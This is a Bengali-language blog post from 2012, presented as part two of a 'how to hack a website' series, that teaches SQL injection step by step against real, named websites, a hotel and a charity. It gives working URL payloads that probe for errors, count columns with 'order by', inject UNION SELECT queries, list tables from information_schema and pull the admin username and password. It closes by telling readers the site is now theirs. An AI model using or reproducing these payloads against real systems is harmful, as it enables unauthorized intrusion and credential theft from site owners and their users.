Thursday, April 5, 2012

what is SQL and how to hack a website [ part-2]

SQL

SQL Inj3cti0n কি ?

সহজ ভাষায় বলতে গেলে SQL Inj3cti0n হলো এমন একটি code inj3cti0n কৌশল যা কোনো সাইটের ডাটাবেজের সিকিউরিটি কে ভেঙ্গে তা থেকে ইনফরমেশন বের করতে পারে।

যে কোনো সাইটে SQL Inj3cti0n করা যাবে ?

না। SQL Inj3cti0n তখনি কাজ করবে যখন কোনো সাইটে SQL error থাকবে।

কোনো সাইটে SQL error আছে কি নেই তা বুজবো কিভাবে ?

যেই সব সাইটে id=value থাকে ধরুন
http://www.site.com/news.php?id=5
সাধারণত এই সব সাইটে SQL error থাকে। কোনো সাইটে SQL error এভাবেই দেখাবে না, error দেখার জন্য আপনাকে url এর শেষে একটি '(string) দিতে হবে।
উদাহরণঃ http://www.bayviewhotelni.com/news.php?id=3 এটি হচ্ছে আসল লিঙ্ক, এই লিঙ্কে যখন আপনি ব্রাউজারে লোড করবেন তখন কোনো error আসবে না। যখন আপনি url এর শেষে একটি '(string) দিবেন তখন ঠিকই error আসবে।
http://www.bayviewhotelni.com/news.php?id=3'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3''' at line 1
অথবা অনেক সময় দেখতে পারবেন যখন ' বসিয়েছেন তখন সাইটে যদি কোনো ছবি/ডাটা মিস করে তাহলে ও অই সাইটে SQL error আছে।
অর্থাৎ বোঝা গেলো এই সাইটে SQL error আছে। তাই আমরা এই সাইটটি কে SQL Inj3cti0n করেন হ্যাক করতে পারবো।

কিভাবে SQL inj3ction করবো কোনো সাইটকে ?

প্রথমে আমরা মজিলাতে একটি এডন ইন্সটল করবো যার নাম হচ্ছে HaCkBar. এই এডনটি ব্যবহার করলে কিছু কমান্ড দিতে সহজ হয়।
ডাউনলোড করে নিন এখান থেকে : https://addons.mozilla.org/en-us/firefox/addon/hackbar/
ইন্সটল করার পরেই দেখবেন আপনার ব্রাউজারে এডনটি দেখা যাচ্ছে।

সাইটের মোট কলাম নাম্বার বের করার নিয়ম :-

আপনি যখন SQL error কোনো সাইটকে SQL Inj3cti0n করতে যাবেন তখন আপনার প্রথম কাজ হবে সাইটের ডাটাবেজে মোট কয়টি কলাম আছে তা বের করা। আর বের করার পদ্ধতি হলো order by কমান্ড।
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 1--
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 2--
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 3--
এভাবে যেতে থাকবেন যতক্ষণ পর্যন্ত কোনো Err0r না আসে।
http://www.sparkleappealdorset.org/supporter.php?id=7 order by 11--
দিলে কিছু লিখা অদৃশ্য হয়ে যায় অর্থাৎ এই সাইটটিতে মোট 10 টি কলাম আছে।

Vulnerable কলাম বের করার নিয়ম :-

এখন আমাদের দেখতে হবে এই সাইটের ১০ টি কলামের মধ্যে কতটি কলাম vulnerable. যেই সব কলাম vulnerable সেই সব কলাম থেকেই ডাটাবেজ এর ইনফরমেশন বের করা যাবে। আমরা Union Select কমান্ড ব্যবহার করে সাইটের vulnerable কলাম গুলা বের করবো।
প্রথমে union select তারপরে যে কইটি কলাম সে কলাম গুলা ঠিক এভাবে বসাতে হবে। আর id=value er আগে একটি - চিহ্ন বসাতে হবে যেমন- http://www.sparkleappealdorset.org/supporter.php?id=-7
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,2,3,4,5,6,7,8,9,10--

ডাটাবেজ ভার্শন বের করার নিয়ম:-

যে কোনো একটি vulnerable কলামে আমরা SQL কমান্ড বসাবো যাতে আমরা ডাটাবেজের ইনফরমেশন বের করতে পারি। কোনো সাইটের ডাটাবেজ এর ভার্শন যদি 4 হয় তাহলে তা ম্যানুয়ালি inj3ct করা যাবে না। তখন টুলস ব্যবহার করতে হবে like havij । আর যদি 5 হয় তাহলে আমরা ম্যানুয়ালি inj3ct করতে পারবো।
এই সাইটটিতে অনেক গুলা vulnerable কলাম আমাদের যে কোনো একটিকে বাছাই করে নিতে হবে।
ধরি আমরা ২ নাম্বার কলাম থেকে ডাটাবেজ ভার্শন বের করবো।
তাহলে syntax টি হবে
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,version(),3,4,5,6,7,8,9,10--
vulnerable কলামে version() রিপ্লেস করলেই ডাটাবেজের ভার্শন চলে আসবে।

ডাটাবেজ থেকে টেবিল বের করার নিয়ম :-

vulnerable কলামের জাগায় group_concat(table_name) এবং এক দম শেষ কলামের পরে from information_schema.tables where table_schema=database()--
তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
যে টেবিল গুলো আমরা পেলাম তা হলো event,galleryImage,login_admin,supporter
এখানে এডমিন টেবিল হচ্ছে login_admin, এই টেবিল থেকে আমরা এডমিনের ইউসার এবং পাসওয়ার্ড বের করবো।

এডমিন টেবিল থেকে ইউজার এবং পাসওয়ার্ড বের করার নিয়ম :-

vulnerable কলামের জাগায় group_concat(column_name) এবং এক দম শেষ কলামের পরে from information_schema.columns where table_name=0xএডমিন টেবিল নামের হেক্স কোড--
তাহলে syntax টি দাড়ায়
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6c6f67696e5f61646d696e--

এডমিন ইউসার এবং পাসওয়ার্ড বের করার নিয়ম :-

vulnerable কলামের জাগায় concat{যে কলাম গুলো পেয়েছেন সে গুলো(সব গুলো কলাম নয় সুধু মাত্র ইউসার এবং পাসওয়ার্ড এর কলাম)} এবং এক দম শেষ কলামের পরে কোন টেবিল থেকে এই কলাম পেয়েছেন সেই টেবিলের নাম।
http://www.sparkleappealdorset.org/supporter.php?id=-7+UNION+SELECT 1,concat(uid,0x3a,pwd),3,4,5,6,7,8,9,10 from login_admin--
বাস পেয়ে গেলেন সাইটের এডমিন পাসওয়ার্ড । এখন পুরো সাইটি আপনার হাতে যা খুশি তাই করুন। তবে মারাত্মক কোনো ক্ষতি না করাই ভালো। সহজেই হয়ে গেলেন একজন ওয়েব হ্যাকার :P

0 comments:

Post a Comment

write here

My dear blog reader please shere this blog with your best friend

X